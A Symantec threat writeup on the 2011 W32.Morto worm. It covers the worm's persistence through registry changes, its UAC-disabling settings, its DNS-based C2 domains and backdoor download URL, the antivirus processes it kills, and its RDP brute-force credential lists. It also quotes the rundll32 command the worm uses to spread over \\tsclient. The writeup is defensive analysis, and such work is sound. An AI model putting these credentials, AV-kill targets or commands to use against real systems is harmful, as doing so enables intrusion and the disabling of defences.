1. /
  2. Security Response/
  3. W32.Morto

W32.Morto

Risk Level 2: Low

Discovered:
August 28, 2011
Updated:
August 29, 2011 8:41:16 AM
Also Known As:
Win32/Morto.A [Microsoft], W32/Morto.A [F-Secure], Mal/Morto-A [Sophos], WORM_MORTO.SMA [Trend], WORM_MORTO.SM [Trend], Net-Worm.Win32.Morto.c [Kaspersky]
Type:
Worm
Infection Length:
50,372 bytes
Systems Affected:
Windows 2000, Windows 7, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows Server 2008, Windows Vista, Windows XP
When the worm executes, it copies itself to the following location:
%Windir%\Offline Web Pages\cache.txt

It also creates the following file:
%Windir%\Offline Web Pages\[CURRENT DATE]

Next, the worm makes a copy of %System%\sens.dll and saves it to the following location:
%System%\Sens32.dll

It then saves a copy of itself as the following file:
%System%\sens.dll

The worm then creates the following registry subkeys:
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\sr
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\sn
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\rmd
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\md
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\it
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\ie
  • HKEY_LOCAL_MACHINE\SYSTEM\WPA\id
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\6to4
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_6TO4

It then creates the following registry entries:
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows\"NoPopUpsOnBoot" = "1"
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\"PendingFileRenameOperations" = "multi:"\00""
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\6to4\"@" = "Service"
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\"ConsentPromptBehaviorAdmin" = "0"
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\"EnableLUA" = "0"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"d:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"e:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"f:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"g:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"h:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"i:\\windows\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"d:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"e:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"f:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"g:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"h:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"i:\\windows\\SysWOW64\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\winnt\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\win2008\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\win2k8\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\win7\\system32\\rundll32.exe" = "RUNASADMIN"
  • HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\"c:\\windows7\\system32\\rundll32.exe" = "RUNASADMIN"

The worm also modifies the following registry entries:
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SENS\Parameters\"ServiceDll" = "expand:"%System%\Sens32.dll""
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SENS\"Group" = "SchedulerGroup"
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SENS\"DependOnService" = "multi:"\00""

Next, the worm retrieves downloadable component information by querying the TXT DNS records registered by the domain admins (attackers) for the following domains:
  • ds[RANDOM NUMBER].jifr.net
  • ft[RANDOM NUMBER].jifr.net
  • ms.jifr.co.be
  • ms.jifr.co.cc
  • ms.jifr.net
  • ss.jifr.net

The information collected above may result in further components being downloaded from the following location:
210.3.38.82/160.rar

Note: The downloaded component is a malicious executable file detected as Backdoor.Trojan.

It then injects itself into the following service:
svchost.exe

The following registry entry contains the encrypted threat body:
HKEY_LOCAL_MACHINE\SYSTEM\WPA\md

Once the installation is complete, the worm deletes the originally executed file.

Next, the worm attempts to end any process that contains the following strings:
  • ACAAS
  • 360rp
  • a2service
  • ArcaConfSV
  • AvastSvc
  • avguard
  • avgwdsvc
  • avp
  • avpmapp
  • ccSvcHst
  • cmdagent
  • coreServiceShell
  • ekm
  • FortiScand
  • FPAVServer
  • freshclam
  • fsdfwd
  • GDFwSvc
  • K7RTScan
  • knsdave
  • KVSrvXP
  • kxescore
  • mcshield
  • MPSvc
  • MsMpEng
  • NSESVC.EXE
  • PavFnSvr
  • RavMonD
  • SavService
  • scanwscs
  • SpySweeper
  • Vba32Ldr
  • vsserv
  • zhudongfangyu

The worm then attempts to open the Remote Desktop Protocol connection on TCP port 3389 as administrator on computers in the local network by using the following user name/password combinations:
User name: administrator
Passwords:
  • 1234
  • 123
  • 123456
  • admin
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • user
  • server
  • 111111
  • test
  • 111
  • %u%
  • 123456789
  • 123321
  • 1111
  • 123123
  • abc123
  • 888888
  • 0
  • pass
  • a
  • 654321
  • 000000
  • aaa
  • 1234567890
  • 1234567
  • %u%12
  • abcd1234
  • 1234qwer
  • admin123
  • 520520
  • 369
  • 1q2w3e
  • 168168
  • !@#$%^
  • 666666
  • %u%1
  • abc
  • 520
  • 2010
  • 2012
  • secret
  • rockyou
  • iloveyou
  • %u%1234
  • %u%123
  • 88888888
  • 2222
  • 121212
  • 112233
  • zxcvbnm
  • 31415926
  • 12344321
  • 12
  • 1111111
  • !@#$%^&*
  • !@#$%
  • !@#$
  • super
  • qazwsx
  • computer
  • abcd
  • 987654321
  • 987654
  • 789456
  • 77777777
  • 7777777
  • 7777
  • 7
  • 4321
  • 159357
  • 1314520
  • 1313
  • 11223344
  • 3
  • 22222222
  • 1QAZ
  • 111222
  • %u%123456
  • %u%111111
  • princess
  • dragon
  • PASSWORD

User name: admin
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • user
  • server
  • 111111

User name: test
Passwords:
  • 111
  • %u%1234
  • 123456789
  • 123321
  • 1111
  • 123123
  • abc123
  • 888888
  • 0
  • pass
  • a
  • 654321
  • 000000
  • aaa
  • 1234567890
  • 1234567
  • %u%12
  • abcd1234
  • 1234qwer
  • admin123
  • 520520
  • 369
  • 1q2w3e
  • 168168
  • !@#$%^
  • 666666
  • letmein
  • %u%1
  • abc
  • secret
  • rockyou
  • iloveyou
  • Password
  • computer
  • abcd
  • %u%123
  • 121212
  • zxcvbnm
  • 12
  • super
  • qazwsx
  • 111222
  • %u%123456
  • %u%111111
  • princess
  • dragon
  • PASSWORD

User name: user
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111
  • test
  • 111
  • %u%1234
  • 123456789
  • 123321
  • 1111
  • 123123
  • abc123
  • 888888
  • 0
  • pass
  • a
  • 654321
  • 000000
  • aaa
  • 1234567890
  • 1234567
  • %u%12
  • abcd1234
  • 1234qwer
  • admin123
  • 520520
  • 369
  • 1q2w3e

User name: user1
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111
  • test
  • 111
  • %u%1234
  • 123456789
  • 123321
  • 1111
  • 123123
  • abc123
  • 888888
  • 0
  • pass
  • a

User name: test
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111
  • test
  • 111
  • %u%1234
  • 123456789
  • 123321
  • 1111
  • 123123
  • abc123
  • 888888
  • 0
  • pass
  • a

User name: user2
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111

User name: test1
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111

User name: user3
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111

User name: admin1
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1
  • 12345
  • 12345678
  • 1qaz2wsx
  • letmein
  • server
  • 111111

User name: user4
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: user5
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: actuser
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: admin2
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: adm
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: test2
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: test3
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: server
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: 1
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: guest
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: aspnet
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: sys
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: support
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: console
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: 123
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: root
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: backup
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: david
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: sql
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: a
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: john
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: support_388945a0
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

User name: owner
Passwords:
  • 1234
  • 123
  • 123456
  • %u%
  • password
  • 1

Note: Please see this blog for more information on how to create strong passwords.

Once connected, it opens the default RDP file share created on the server side to access the client side:
\\tsclient

It installs itself on remote computers by using the following commands:
rundll32 \\tsclient\a\a.dll a

Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

  • Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world.
  • Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
  • Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application.
  • Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available.
  • Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared.
  • Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack.
  • If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
  • Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services.
  • Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files.
  • Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media.
  • Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.
  • If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to "Hidden" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to "Unauthorized", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources.
  • For further information on the terms used in this document, please refer to the Security Response glossary.
Writeup By: Jeet Morparia and Takashi Katsuki
Summary| Technical Details| Removal

Search Threats

Search by name
Example: W32.Beagle.AG@mm
STAR Antimalware Protection Technologies
Internet Security Threat Report
Symantec DeepSight Screensaver